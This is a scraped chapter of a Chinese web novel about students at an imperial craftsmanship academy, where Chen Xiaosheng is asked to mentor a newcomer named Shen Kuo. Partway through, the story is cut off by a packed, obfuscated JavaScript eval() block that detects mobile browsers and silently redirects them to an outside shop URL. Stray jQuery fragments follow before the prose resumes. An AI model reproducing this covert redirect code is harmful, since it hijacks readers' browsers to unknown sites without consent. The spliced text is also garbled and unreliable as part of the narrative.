37. 沈括
    方圆以规矩成,曲直以墨绳立。

    《礼记·典礼》中亦记载:“天子之六工,曰土工、金工、石工、木工、兽工、草工,典制六材。”

    工部直导下营缮书院,更囊括了以上技艺科目,但最核心的科目,仍旧是木工。

    工部营缮郎之作用,大到宫殿宗庙,碉堡城楼,军民弓箭,小到家具家私,车船棺材,桌案柜椅,日常机巧。

    从陶、铁、石、皮具到木器草编,营缮郎是体力魄力、脑力巧思集成一体的全能型人才!

    自从将全院学子“因材施教”分班教学,时至今日,书院每年向外产出的能干人才,连天子都引以为重视。此后,更有从全国各地慕名进京而来的求学孩童,当然,也逐年拔高了入院考试门槛。

    正所谓“师傅领进门,修行在个人”。

    学子经过测试有资格进入营缮书院,前六十日,须什么都不要你学,书堂不准去,休沐也没有。要天天早起晚睡,日日做些担水,洒扫,扛木,喂马等粗活,这叫磨性子。耐不住性子的,在第二场测验结果出来时,就会被通知遣退,哪儿来的,回哪儿去。

    当然,对于家境贫寒的学子,营缮书院会适当给予一些车马费补偿。可是往往这类学子,是绝对非常珍惜进书院的机会。

    接下来,留下来的学子,就能去檐月阁领取学服,拥有自己的学牌号,分到标准的寝舍,一视同仁,成为营缮书院正式的学生。

    第三个月开始,学习《千字文》、《弟子规》、《百家姓》等基础科目,须得倒背如流,默写字迹工整。

    第四个月浅读四书五经,再习《幼学琼林》、《酉阳杂记》等书册。这段时间,学子在休息之际也不能闲着,仍要继续负责洒扫担水等活艺,冬日除雪,夏日捉蝉,表现不好考评两月一试,不合格还是会被遣退。

    半年后,营缮书院才会正式给这批新生分班,再分发由他们内部自行编写的教材。

    如此,入院学子,从识木开始——松,柏,杉,梓,楠,紫檀,黄花梨等。要学会看其形态知参差,识其年轮知树龄,观其色味知新旧南北。

    紧接着学用器,刨,锯,斧头,钻子,磨刀石,锤子,更是个漫长的学习过程。刮,砍,凿,刺,基本功,“一年斧头,三年刨”!

    榫卯,斗拱,雕刻,镶嵌,算数测量等等,缺一不可。

    手头的基本功学会了,还要丰富强壮自己的头脑。

    周易风水,安宅起楼,架桥修路,自有风向、温度、防震一套理论和学问在里头。

    又要学个三年五载!

    寒来暑往,秋收冬藏,日日都在营缮书院埋头苦学,手脚起茧子,耳鸣眼花是积年旧病啦!

    这一年,这一日。

    书院来了个新学生。

    “营缮科-鲁班堂-木雕织艺班”正一片雅静,忽有学子哒哒从远处跑来,推开院门,便大喊:“小笙?陈小笙何在?”

    整个院子,有专心致志在院内树荫下推刨子的,有在旁边劈竹的,有架火烘烤器具的,有在书屋内安心誊抄书册的。

    那学子左顾右望,环看四周。

    邱一山扛着从仓库里领来的一椴新柏木,“砰”,结结实实卸在地上,细看过去,那块土地,都被砸出许多凹印,寸草不生,变得无比板实。

    意气风发的少年冲在西南一角,搭着梯子上房的同窗道:“小笙,有人找!”

    那学子闻声有人搭理自己,又哒哒跑过去,抬头仰望。

    只见木梯上的人与自己一般高,大约十六七的模样,水蓝色的学子服衬得“他”纤薄修长,乌黑的头发拢起梳在头上,戴玉钗,也戴了顶自制的无顶草帽。只是人长得很秀气,白净斯文的脸庞,薄薄的汗,热得白里透红。

    此刻,“他”正拿着笔、端着板纸,描绘屋顶的脊兽。

    学子好奇,垫着脚瞟了一眼。

    登时心道:“这位同仁工笔底子好扎实,细细密密的线条,清爽流畅,纸页不污。构图布局美观,把控细节能力很强,临摹拓本的笔力是中上之乘,难怪关珩师兄要把新同仁交给他来带。”

    陈小笙扶着木梯下来:“你找我。”

    学子道:“山长特批,前日新招收了一位学生入院,他还没有分科班堂,不好教学,关珩师兄就说让你带他三个月学习礼仪规矩。”

    陈小笙盖好笔墨,问道:“是关珩师兄指名要我带新生?”

    学子:“啊!人我都给你带来了,你看,他就在哪儿!”

    循着视线望过去,院门外,一张笑颜展开的脸远远定格在哪儿,此人年纪较轻,看起来比陈小笙大个一两岁,但却非常谦卑温和,不住对她遥遥揖拜。

    邱一山抖抖身上的木屑,阔步走过去看个清楚,打趣道:“小笙,你是出师收徒了。”

    陈小笙低头整理衣着,道:“别胡说,一山。”

    学子道:“那我就把人交给你啦,还有事儿就先走了。”说完,便哒哒地跑了。

    邱一山抱臂绕着圈打量那人:“这位仁兄,你叫什么名字啊。”

    陈小笙也走过来,这会儿日头正盛,虽过了三伏,但暑气并未消减,好在书院树多,在阴楹下,倒也不觉酷暑难耐,还没有寒暄,便听对方道:“在下沈括。”

    陈小笙重复一遍:“沈括。”

    邱一山却大惊失色:“你叫沈括。”

    沈括无辜:“嗯。”

    陈小笙问道:“一山,你认识这位同学?”

    邱一山眼神愈发诡异:“你是沈括?你就是沈括?”

    沈括:“沈某名字……乃家父所起,如假包换啊,哦,这是拜师文书。”

    邱一山:“你是哪儿人?”

    沈括:“杭州钱塘人,请教师兄名讳。”

    邱一山似笑非笑,似狰非狞,十分怪异,并未真的去接他手中的文书以验明正身,一句“好说好说”就糊弄过去。

    陈小笙怕他在新同仁面前失却了礼数,忙小声道:“一山,你是不是太热了?”

    邱一山扯扯嘴角,摆摆头:“没什么,只是觉得阁下这个名字,非常震耳欲聋。哎呀呀,沈兄一看就是仪表堂堂的俊杰男儿,气质非凡!要我说,兄台绝非池中俗物!”

    陈小笙:“…………”他是从哪里看出来的?

    邱一山正色道:“小笙。”

    陈小笙懵然:“什么?”

    邱一山:“你定尽心尽责,为沈同仁仔细介绍咱们书院的礼仪规矩,不可懈怠。”

    陈小笙点点头:“好,我会的。”

    邱一山说完便溜了继续回去做自己的事。

    陈小笙为人和善,耐心细致,加上肯吃苦学艺,这两年在书院稳扎稳打,成绩名列前茅。上半年,她与诸位同仁联艺,五人小组,她任组长,已经能独立为官贵家的宅邸雕装窗棂、影壁等大物,家主人反馈良好,皆赞营缮书院学子功底扎实,不负众望。

    沈括早早就打听了这些小道消息,他千辛万苦自钱塘来京都,为的不就是结交能人?陈小笙,据说是宁王府大管事张中全的侄子,性格温吞,技艺过关,是个可结交之辈。

    这厢见面,传闻非虚!从中午至傍晚,陈小笙几乎都带着他将书院上下都走了一遍,讲解细致,没有丝毫架子,不懂的地方,他提出疑问,陈小笙也会耐心解答。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928464|135591||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>难怪京都的韩世孙都与之关系匪浅,这样脚踏实地又平易近人的性子,确实招人亲近。

    沈括见“他”好说话,索性就一次性问个清楚,譬如一定要每天喂三次马,洗刷两次学堂地板?一次行不行?还有那马厩的草料,一定要去北坡去割?山脚的不行?

    陈小笙停下来,正色道:“沈同仁,夫子有云,差之毫厘,失之千里,学院规定这样,定然有它的用意存在且经过多年验证。”

    她笑道:“不可偷懒。”

    沈括:“啊,是,是,我也正是这个意思,那今日就有劳陈师兄了,将来还有叨扰,见谅。”

    陈小笙:“没事,对了,你还是叫我小笙吧,大家都这么叫。”

    沈括:“那沈某就冒昧了。”

    去食堂用完晚膳,陈小笙这才回到静德居,再过一刻钟,还要去书屋上晚课,陈小笙抽空打水洗澡,正拎着水桶去火房呢,邱一山拉开门,探出脑袋。

    “小笙,回来。”

    陈小笙一扭头:“一山?你在啊,有什么事吗。”

    邱一山冲她勾勾手指。

    陈小笙走回去,坐在廊檐下的地板上:“你说。”

    邱一山小声道:“今天下午那个叫沈括的,还好相处吗。”

    陈小笙想了想,道:“人很谦虚,也有礼貌,是个积极求学的。”

    邱一山:“我告诉你啊,此人只可浅谈不能深交。”

    陈小笙:“为何?”

    邱一山:“你这个人吧,对谁都和颜悦色,说好听点是单纯,说不好,就是善恶不分,没心眼儿。”

    陈小笙奇怪:“一山,沈同仁得罪你了?”

    邱一山:“三言两语也解释不清,但你听我的话,那个人不要当好朋友处,懂不懂。”

    陈小笙笑他多虑了:“他是来求学的不是交朋友的,况且我除了在书院所学的,并不能给他带去其他益处,他能图谋什么呢。”

    邱一山:“张中全的侄子,韩誊的挚友,就这两项,就够人眼馋的了。”

    陈小笙:“…………”

    邱一山:“你要是不听我的,我就去找韩誊进言,让他管你。”

    陈小笙:“…………”

    邱一山摸摸下巴:“嘶,韩世孙自从三年前北苑工程完美收官竣工以来,名声大噪,至今找他督建府邸的达官贵人,长街都排不下,他是不是快四个月没回书院了?”

    陈小笙叹口气:“沅瑞跟我说,上个月南下督造回来以后,韩誊就病了,我这两月也没有休沐,无法去探望他。”

    邱一山:“修个房子嘛,有匠人们动手,又不须他亲自出力,会拨款算账即可,怎么就累病了?”

    陈小笙:“账不好算啊,就说那顶上的一块小小的琉璃瓦,许多地方窑都烧制不出,既如此,那从北调度至南,林林总总的前期工钱,何以计量?再说南方好木雕,单是一个牌坊,制艺少则三年起。去岁我与他去邻省石灰山勾兑烧灰事宜,就亲眼见到,与那些工人、商人打交道,是水磨的功夫呢。”

    邱一山也叹口气:“反正我家老子只盼着我早早出师,回去继承家业就行了。”

    两人正说着,沅瑞兴冲冲跑进院子。

    “小笙,好事儿。”

    邱一山坐起来,忙问:“什么好事儿?”

    沅瑞:“八月十五中秋,院长说,要给大家好好热闹欢庆一日!锣鼓队,舞龙舞狮,四司六局,都要请来书院操办。”

    邱一山闻言两眼放光:“我的亲娘!终于等到这一天!小笙,狂欢吧!”他兴奋地直摇陈小笙的肩。

    小笙摸摸头,笑了笑,“你慢点儿。”